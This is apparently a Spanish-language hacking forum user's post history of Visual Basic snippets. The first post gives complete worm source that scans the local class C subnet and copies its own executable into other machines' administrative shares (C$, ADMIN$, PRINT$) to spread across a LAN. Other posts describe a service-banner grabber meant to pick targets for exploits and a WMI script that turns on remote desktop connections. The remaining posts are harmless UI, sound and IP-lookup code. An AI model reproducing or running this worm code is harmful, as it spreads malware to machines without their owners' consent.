Mensajes

Aqui el código completo para hacer que nuestro worm se extiendo en una red LAN con una subred de clase C (la más común). Te puedes fijar que no he extraido ni la máscara ni he hecho el calculo, pues el 70% de las redes comunes son de clase C (A.B.C.?)

Código [Seleccionar] Expandir

Private Sub Form_Load()
    Dim MyIP As String, HackIP As String
    Dim Octets() As String
    Dim i As Integer
   
    MyIP = Winsock1.LocalIP
    If MyIP Then
        Octets = Split(MyIP, ".")
    Else
        MsgBox "No se puede obtener tu dirección IP"
    End If
    If UBound(Octets) > 0 Then
        On Error Resume Next
        For i = 1 To 10
            HackIP = "\\" & Octets(0) & "." & Octets(1) & "." & Octets(2) & "." & i
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\C$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\D$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\E$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\F$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\G$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\ADMIN$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\PRINT$\" & App.EXEName & ".exe"
        Next i
    Else
        MsgBox "Error grave. Formato de IP no válida (¿Posiblemente IPv6?)"
    End If
End Sub

La próxima vez intenta hacrlo tu mismo, seguramente no te saldrá, postea tu código y la línea de error y entre todos te ayudamos. La única forma de aprender es intentarlo, no busques siempre algo ya codeado porque no lo encontrarás siempre

Saludos!!

[Nuevo Programa: Shadow Host]

Os dejo el source completo de Shadow Host, es un programa que hice hace muchisimo tiempo (05 Diciembre 2005). Lo publiqué en este foro y apareció en uno de sus boletiones, aqui el link:

Nuevo Programa: Shadow Host
http://foro.elhacker.net/index.php/topic,97805.0.html

Permite obtener las cabeceras HTTP de un webserver, asi como los mensajes de bienvenida que hay en los servidores FTP, SMTP y POP3, de esta manera podemos saber que servicio y versión está ejecutando un servidor (para usar exploits en él más adelante xD)

El código es sencillo, si no se entiende algo avisar. Como he dicho es del 2005 y en esa época estaba aprendiendo a programar xD puede que se tenga que optimizar un poco el código

Saludos!!

algien sabe de alguna api o algun code que me permita listar las ips de una red lan?

saludos

Como te he dicho... las IP's de una LAN se consiguen haciendo la operación lógica AND entre la IP y la Mascara de Subred. Aunque si no te lo quieres currar tanto simplemente mira que la mascara sea 255.255.255.0 (es la más común) con esto sabrás que hay tantas IP's como 0's hay en la máscara.

Lee un poco en wikipedia y lo entenderás facil, explicarlo por aqui es complicado xD

Saludos!!

Aqui tienes el código:

Código [Seleccionar] Expandir

Private Sub File1_Click()
    MsgBox File1.Path & "\" & File1.FileName
End Sub

Private Sub Form_Load()
    Drive1.Drive = Environ("HOMEDRIVE")
End Sub

Private Sub Drive1_Change()
   Dir1.Path = Drive1.Drive
End Sub

Private Sub Dir1_Change()
   File1.Path = Dir1.Path
End Sub


Y Como siempre un ejemplo adjunto al post (solo usuarios registrados)

Saludos!!

EDIT: Se me adelantaron otra vez

Encontré hace tiempo esta función, no la he programado yo. Sirve para dar forma a los formularios según la imagen de fondo que tengan, solo tienes que decirle que color será el usado para las transparencias, ejemplo: vbWhite, vbBlack, vbRed, etc...

Código (vb) [Seleccionar] Expandir

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function ReleaseCapture Lib "user32" () As Long

Private Sub Form_Load()
    'Llamamos a la función, enviamos el nombre del Form y el Color de fondo
    MakeSkin Form1, vbWhite
End Sub

Private Sub MakeSkin(ByVal Frm As Form, ByVal BColor As Long)
    'Función que "recorta" un formulario según su color de fondo.
    Frm.BackColor = BColor
    Tmp = GetWindowLong(Frm.hwnd, -20)
    Tmp = Tmp Or &H80000
    SetWindowLong Frm.hwnd, -20, &H80000
    SetLayeredWindowAttributes Frm.hwnd, BColor, 0, &H1
End Sub

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    'Permite mover el formulario al hacer click encima de él
    ReleaseCapture
    SendMessage Me.hwnd, &HA1, 2, 0&
End Sub


Usar imagenes BMP y con solor de 32 bits, así no tendreis problemas... si os preocupa el tamaño final luego empaquetais con UPX y problema resuelto xD

Saludos!!

[about]

He programado este sencillo efecto en VB, a partir de una imagen te genera otra igual pero con los píxeles más grandes y aleatórios, dando un efecto de "marca de agua" muy particular, esto lo veo apropiado para poner en las típicas ventanas de about o acerca de... de nuestros proyectos.

Código [Seleccionar] Expandir


Private Sub Form_Load()
    On Error Resume Next
    Picture2.Height = Picture1.Height
    Picture2.Width = Picture1.Width
   
    'Cargamos 100 Timer's y los activamos
    For i = 0 To 100     'Bajar el valor para hacerlo mas lento
        Load Timer1(i)
        Timer1(i).Enabled = True
    Next i
End Sub

Private Sub Picture2_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
'Pintamos por donde movemos el mouse
On Error Resume Next
Randomize
Picture2.ForeColor = Picture1.Point(X, Y)
Picture2.PSet (X, Y)
Picture2.DrawWidth = 5
End Sub

Private Sub Picture2_Click()
    'Borramos si hacemos click
    Picture2.Cls
End Sub

Private Sub Timer1_Timer(Index As Integer)
    'Pintamos puntitos aleatórios
    On Error Resume Next
    Randomize
    a = Int((Rnd * Picture1.Width) + 1)
    b = Int((Rnd * Picture1.Height) + 1)
    Picture2.ForeColor = Picture1.Point(a, b)
    Picture2.PSet (a, b)
    Picture2.DrawWidth = Int((Rnd * 5))
End Sub


Si no os funciona, bajaros el código completo que está adjunto a este post (solo usuarios registrados), funciona 100%

Saludos!!

[Beep 150,50]

Os dejo la sencilla API que permite hacer sonidos indicando su frecuencia y la duración en milisegundos:

Código [Seleccionar] Expandir

Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long


Para usarla solo poner en cualquier parte de tu código:

Beep 150,50

Así de facil!



Os dejo unos ejemplos hechos por mí:

Código [Seleccionar] Expandir

Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

Private Sub Command1_Click()
For i = 1 To 5
  Beep 700 * i, 450
Next i
End Sub

Private Sub Command2_Click()
Beep 4000, 3000
End Sub

Private Sub Command3_Click()
For i = 1 To 30
  Beep 2 ^ i, 100
Next i
End Sub

Private Sub Command4_Click()
For x = 4 To 10
    For y = 1 To 50
        Beep x * (y + x), 5 + x
    Next y
Next x
Beep 2000, 500
End Sub

Private Sub Command5_Click()
    For x = 1 To 450
        s = Round(x Mod 5)
        Beep s * x, 30
    Next x
End Sub

Private Sub Command6_Click()
    Randomize
    For x = 1 To 10
        num = Int(Rnd * 1000) + 100
        dur = Int(Rnd * 100) + 50
       
        Beep num, dur
    Next x
End Sub


Y como siempre el código adjunto al post, saludos!!

Para detectar pulsaciones de teclas simultáneas (ctrl+alt+supr o alt+f4) lo mejor es usar Hooks.

Ahora mismo no encuentro ningún código pero su buscas en el foro lo encuentras seguro

Aquí lo tienes, te dejo el código y el source adjunto:

Código [Seleccionar] Expandir

Private Sub Command1_Click()
    WS.Close
    WS.Connect "checkip.dyndns.org", 80
End Sub

Private Sub WS_Connect()
    Label1.Caption = "Conectado!"
    WS.SendData "GET / HTTP/1.1" & vbCrLf & vbCrLf
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
    Dim Buffer As String
    Dim Datos() As String
   
    WS.GetData Buffer, vbString
    If InStr(Buffer, "Current IP") <> 0 Then
        Datos = Split(Buffer, "<")
        Datos = Split(Datos(6), ":")
        Label1.Caption = Trim(Datos(1))
    Else
        Label1.Caption = "IP no encontrada"
    End If
End Sub

Private Sub WS_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    On Error Resume Next
    Label1.Caption = "Error!"
    MsgBox Number & " - " & Description
End Sub


Saludos!!

Te dejo el código en formato VBS, si lo pegas dentro de una aplicación VB o un módulo también te funcionará. Esto son códigos WMI:

Código [Seleccionar] Expandir

Const ENABLE_CONNECTIONS = 1

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}\\" & strComputer & "\root\cimv2")

Set colItems = objWMIService.ExecQuery _
    ("Select * from Win32_TerminalServiceSetting")

For Each objItem in colItems
    errResult = objItem.SetAllowTSConnections(ENABLE_CONNECTIONS)
Next

Saludos, si no entiendes algo dímelo!